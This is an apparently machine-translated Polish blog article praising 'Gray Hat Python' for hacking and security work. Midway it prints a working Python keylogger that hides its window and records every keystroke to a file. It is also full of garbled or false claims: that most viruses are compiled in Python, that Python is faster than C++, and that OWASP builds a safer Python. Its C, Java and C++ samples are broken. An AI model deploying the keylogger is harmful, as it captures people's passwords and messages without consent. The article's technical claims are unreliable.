Gray Hat Python - dwa lata temu prowadziłem badania nad językami programowania, zacząłem czytać o C, C ++, asembler, Python i Ruby. Chciałem zostać ekspertem w dziedzinie cyberbezpieczeństwa. Zacząłem więc uczyć się jak najwięcej. Zacząłem od podstaw C, C ++ i C #, a po nauce i kompilowaniu wielu programów i wirusów w końcu zacząłem uczyć się Kali Linux. Dla tych, którzy nie wiedzą, co to jest Kali Linux, jest to system operacyjny do testów penetracyjnych. Kontynuowałem studia i zobaczyłem, że większość programów, wirusów i trojanów została skompilowana w Pythonie, a ich bazą jest Ruby.

Więc na razie przestałem studiować i zacząłem uczyć się Pythona, a dokładniej Gray Hat Python i tadaa… To było niezwykle łatwe w porównaniu do C, C # lub dowolnego innego języka, którego się nauczyłem. W końcu dowiedziałem się, dlaczego Python był najczęściej używanym językiem i jak stał się sławny.
Tak więc dzisiaj dyskutowałem o tym, jak Python przekształcił się w Gray Hat Python i dlaczego jest tak szeroko wykorzystywany, że nawet Google i YouTube używają go w swojej bazie danych, aby podawać możliwie dokładne wyniki wyszukiwania.

Zaczynając, Python jest językiem programowania wysokiego poziomu, co oznacza, że ​​jego składnie są niezwykle łatwe do odczytania, nawet dla początkujących. Jeśli dopiero zaczynasz programować, sugeruję zacząć od tego języka. Dam ci przykład:

Tak to wygląda w C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Tak to wygląda w Javie: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


I tak to wygląda w Pythonie (v2.7)

print "Hello World"

Prosty? Tak to jest. Python był więc nie tylko łatwy do napisania i zrozumienia, ale także bardzo zwarty. Być może zastanawiasz się, w jaki sposób doprowadziło to do powstania Gray Hat Python?

Polecane kursy

  • Szkolenie dotyczące routingu IP
  • Szkolenie z hakowania
  • Ukończ szkolenie RMAN
  • Szkolenie z programowania w języku Python

Python vs Gray Hat Python

Czym dokładnie jest Gray Hat Python? Dlaczego tak różni się od naszego normalnego Pythona? Chodzi o to, że Gray Hat Python to nic innego jak programy napisane w Pythonie przez hakerów, testerów obciążenia sieciowego i inżynierów odwrotnych do tworzenia lub łamania programu. Ale termin Grey Hat jest używany, ponieważ nie jest to dokładnie korzystne ani oprogramowanie użytkownika. Służy do zabezpieczania lub tworzenia oprogramowania naruszającego bezpieczeństwo.

Można go łatwo wykorzystać do testowania ograniczeń bezpiecznego środowiska lub do włamania się do bezpiecznego środowiska. To właśnie oznacza Gray Hat. O wiele łatwiej jest to zrobić w Pythonie niż w C, C ++ lub java. Stąd nazwa Gray Hat Python. Kilka przykładów, o których mogę myśleć to:

• Pisanie rejestratorów kluczy (dla hakerów i pentesterów)
• Pisanie skryptów powłoki bezpieczeństwa (dla administratorów sieci)
• Pisanie zautomatyzowanego systemu wykrywania włamań (Intrusion Detection System for Security Engineers)

Teraz już wiesz, dlaczego i jak przydatny jest Python Gray Hat. Aby to rozwinąć, dam ci kilka szczegółowych przykładów.
Być może słyszałeś o Google App Engine. Google App Engine został pierwotnie zaprojektowany w Pythonie, zanim został przeniesiony. Aplikacja Google jest właściwym przykładem programu napisanego w języku Python, ponieważ umożliwia tworzenie aplikacji internetowych przy użyciu bogatej kolekcji bibliotek, narzędzi i frameworka.

Czy zastanawiałeś się kiedyś, dlaczego tak łatwo jest wyszukać coś w Google? Przez większość czasu otrzymujesz wyniki wyszukiwania, które są 80% dokładne. Wynika to z faktu, że Python jest niezwykle elastyczny, działa z dużą prędkością, a bazy danych są znacznie bardziej kompaktowe, chociaż przechowują „n” liczbę informacji. Python jest tak rozszerzalny, że nawet YouTube używa go do takich celów, jak oglądanie wideo, kontrolowanie szablonów, administrowanie wideo, dostęp do danych kanonicznych i wiele innych.

Google ma swoje roboty i pająki, które zbierają dane, gdy tylko zostaną przesłane do Internetu, bez względu na to, gdzie i jak bezpieczne. Wystarczy tylko odpowiedniej inspiracji, czasu i wiedzy, aby zebrać te informacje.

Wyszukiwania Google były wcześniej oparte na Pythonie, który później został zmieniony na C ++ w celu optymalizacji prędkości, ponieważ roboty indeksujące Google indeksują wiele stron na sekundę i każda z nich potrzebuje kilku minut na pomyślne zaindeksowanie. Python, obecnie jest znacznie szybszy niż C ++, ale to nie był taki sam przypadek kilka dekad temu.

Znany cytat cytowany przez Google: -
„Python, gdzie możemy, C ++ tam, gdzie musimy.”

Być może zastanawiasz się, w jaki sposób można tego użyć do hakowania, przeszukiwania i bezpieczeństwa sieci. Pozwolę sobie być innego zdania. Jeśli możesz stworzyć program, który zapewnia 70% -80% dokładności w zapewnianiu wydajnych wyników wyszukiwania, prawdopodobnie możesz zbudować aplikację, która może łączyć strony internetowe, inteligentnie wyszukiwać i budować profil osoby, z której mogą korzystać indywidualne Czarne Czapki w złośliwych celach. Odłóż Osoby na bok, jeden, jeśli jest wystarczająco inteligentny, może łatwo zbudować aplikację do budowania profilu firmy, całego drzewa od korzenia do wszystkiego, co tylko możesz wymyślić …

Zbieranie informacji za pośrednictwem Maltego

Być może myślisz, że trochę przesadzam. Nie, NIE jestem!

Pomyśl o przykładach takich jak Maltego. Maltego to oprogramowanie lub mogę go lepiej sformułować jako aplikację kryminalistyczną typu open source, stworzoną w celu gromadzenia informacji i budowania profilu osób, firmy i innych agencji korporacyjnych.

Wystarczy wprowadzić odpowiednie dane do aplikacji, a resztę rzeczy, takich jak łączenie e-maili, ludzi, grup osób, a nawet określanie infrastruktury internetowej, takiej jak Domeny, nazwy DNS, Netblocks i adresy IP, można łączyć i łączyć ze sobą za pomocą tej inteligencji open source .

Aby uzyskać więcej informacji, odwiedź stronę Czym jest Maltego?

Tak więc, jeśli dostęp do „Tajnych informacji” determinuje Twój sukces, to Maltego może pomóc ci je odkryć. Maltego jest częściowo napisany w języku Python i wykorzystuje również Javę, która jest znowu świetnym językiem.

Tyle do cytowania na temat bezpieczeństwa od Google. Mówiąc ściślej, Google to najmniejszy sposób na zachowanie anonimowości w Internecie, bez względu na to, czy używasz incognito, czy www.duckduckgo.com z Chrome. Ponieważ ostatecznie wszystko jest aktualizowane w Internecie. Chodzi o to, że nie chodzi o niewrażliwość, chodzi o absolutną podatność na ataki. Nie można całkowicie wytrzeć się z Internetu. Ale z pewnością można starać się zachować jak najmniej informacji w sieci.

Python to nie tylko język, to język skryptowy. Języki skryptowe pozwalają pisać, modyfikować własne narzędzia, gdy potrzebujesz czegoś bardziej niestandardowego. Te narzędzia bezpieczeństwa sieci w dużym stopniu zależą od języka skryptowego w celu rozszerzenia. Na przykład Weźmy Scapy.

Scapy jest napisane wyłącznie w języku Python. Jest to potężne narzędzie do interaktywnej manipulacji pakietami. Może generować fałszywe pakiety samodzielnie, skanować sieci, a nawet wąchać pakiety w sieci.

Znajdź szczegółowe informacje o tym, czym jest Scapy?

Teraz są to złożone programy napisane przez zaawansowanych programistów. Zobaczmy, jak łatwo jest napisać program w języku Python, który jest łatwy do zrozumienia dla osób, które mają dobre podstawy programowania.

To jest keylogger napisany w Pythonie: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

To jest o wiele więcej niż łatwe, jeśli mnie o to poprosisz. Właśnie dodałem moduły pyhook, Pythoncom, win32gui i win32console, które można łatwo pobrać ze strony sourceforge, a wspomniałem o komentarzach za pomocą tagu hash. Ale jeśli muszę napisać ten sam program w C ++, zobaczmy, jak trudne to może być.

To jest program napisany w C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Jest to więc dość duże w porównaniu do Pythona. A jeśli mówimy o wydajności, to Python można łatwo skompilować w plik wykonywalny bez żadnego wysiłku przy użyciu oprogramowania py2exe. Podczas gdy jeśli mówię o C ++, to mówiąc szczerze, ten kod jest żartem. Aby napisać odpowiedni rejestrator kluczy, należy napisać bibliotekę DLL, która implementuje hak WH_KEYBOARD. Poza tym ten kod nie jest łatwy do zrozumienia dla początkującego.

Hakowanie Open Source

Teraz zajmuje się to hakerami Black Hat, a ściślej ludźmi, którzy zamierzają niszczyć, manipulować danymi na własne potrzeby. Mówiąc z punktu widzenia bezpieczeństwa, Python jest również przydatny dla hakerów White Hat, którzy zamierzają uratować społeczeństwo przed atakiem złośliwych hakerów. Jeśli chcesz rozwinąć karierę zawodową lub przynajmniej nauczyć się języka Python w zakresie badań bezpieczeństwa, z pewnością możesz się głęboko zanurzyć w OWASP, BRO lub Quick NIX Secure Script.

OWASP to projekt bezpieczeństwa otwartych aplikacji internetowych. OWASP ma na celu stworzenie bezpieczniejszej wersji Pythona, która ułatwi specjalistom ds. Bezpieczeństwa i programistom pisanie oprogramowania mniej podatnego na ataki hakerów. Jest to związane z analizą Black-Box, identyfikowaniem i rozwiązywaniem problemów związanych z bezpieczeństwem, które mogą mieć wpływ na interaktywny interpreter Pythona.

BRO to program do monitorowania bezpieczeństwa sieci i ruchu, podczas gdy Quick NIX służy do hartowania i zabezpieczania własności plików w locie.

Ponieważ mówimy o bezpieczeństwie, porozmawiajmy o systemie operacyjnym częściowo opartym na Pythonie. Python działa świetnie z systemami UNIX, LINUX i Debian. Jednym z najbardziej znanych systemów operacyjnych był Backtrack 5. Wydano różne wersje. Został specjalnie zaprojektowany do PenTestingu. Później ludzie w Offensive Security sądzili, że Backtrack potrzebuje ponownego uruchomienia, ponieważ większość narzędzi albo nie działała poprawnie, albo nie była obsługiwana.

Później wydali Kali Linux, który był całkowicie oparty na Debianie. I większość jego frameworków jest w Ruby lub Python. Ruby też jest niesamowitym językiem skryptowym. Ale zawsze wolałbym Python od tego, ponieważ Python ma bardziej zróżnicowaną społeczność z Linuksem i jest bardziej bezpośredni i łatwy do debugowania. Chociaż Ruby ma mnóstwo funkcji i szybko dostosowuje się do otaczającego środowiska, może być trudny do debugowania, trudny do odczytania i jest bardziej wyrafinowany niż Python.

Najlepszym przykładem może być porównanie Apple'a z Linuksem lub iPhone'a z Androidem. Apple jest bogate w zasoby i jest niezwykle płynne, i jest bardziej stronnicze dla początkujących. Podczas gdy Linux / Android jest bardziej przyjazny dla użytkownika, nieco opóźniony i może być uciążliwy, jeśli nie wiesz, jak go skonfigurować lub utrzymać.

Jest nawet książka oparta na hakowaniu Pythona Greya Hata autorstwa Justina Seitza. Dotyczy to w szczególności automatyzacji żmudnych zadań inżynierii wstecznej i bezpieczeństwa, projektowania własnego debuggera, wstrzykiwania bibliotek i bibliotek DLL, wąchania bezpiecznego ruchu w zaszyfrowanej sesji oraz korzystania z debugera odporności, Sulley i wielu innych. Ta niesamowita książka nie ma znaczenia, czy jesteś początkującym, czy ekspertem, zawsze nauczysz się czegoś innego za każdym razem, gdy ją czytasz.

Wniosek

Tak więc, jeśli jesteś początkujący, Python byłby właściwym wyborem, aby zacząć od pierwszego języka programowania testowania bezpieczeństwa.

Pamiętaj tylko o jednej rzeczy, w końcu Python Gray Hat to nie tylko język, to sposób na robienie rzeczy we właściwy i szybki sposób.

Pierwsze źródło obrazu: pixabay.com

Powiązane artykuły:-

Oto kilka artykułów, które pomogą ci uzyskać więcej szczegółów na temat Python Grey Hat, więc po prostu przejdź przez link.

  1. Korzyści z cyberbezpieczeństwa Narzędzia Musisz być świadomy
  2. Kariera w Pythonie
  3. 25 najlepszych niesamowitych pytań i odpowiedzi podczas wywiadu w języku Python
  4. Jakie są zalety i ograniczenia używania Pythona?
  5. Python vs Node.js
  6. Przewodnik po pytaniach do wywiadu dotyczącego bezpieczeństwa cybernetycznego
  7. Różne typy narzędzi do testowania bezpieczeństwa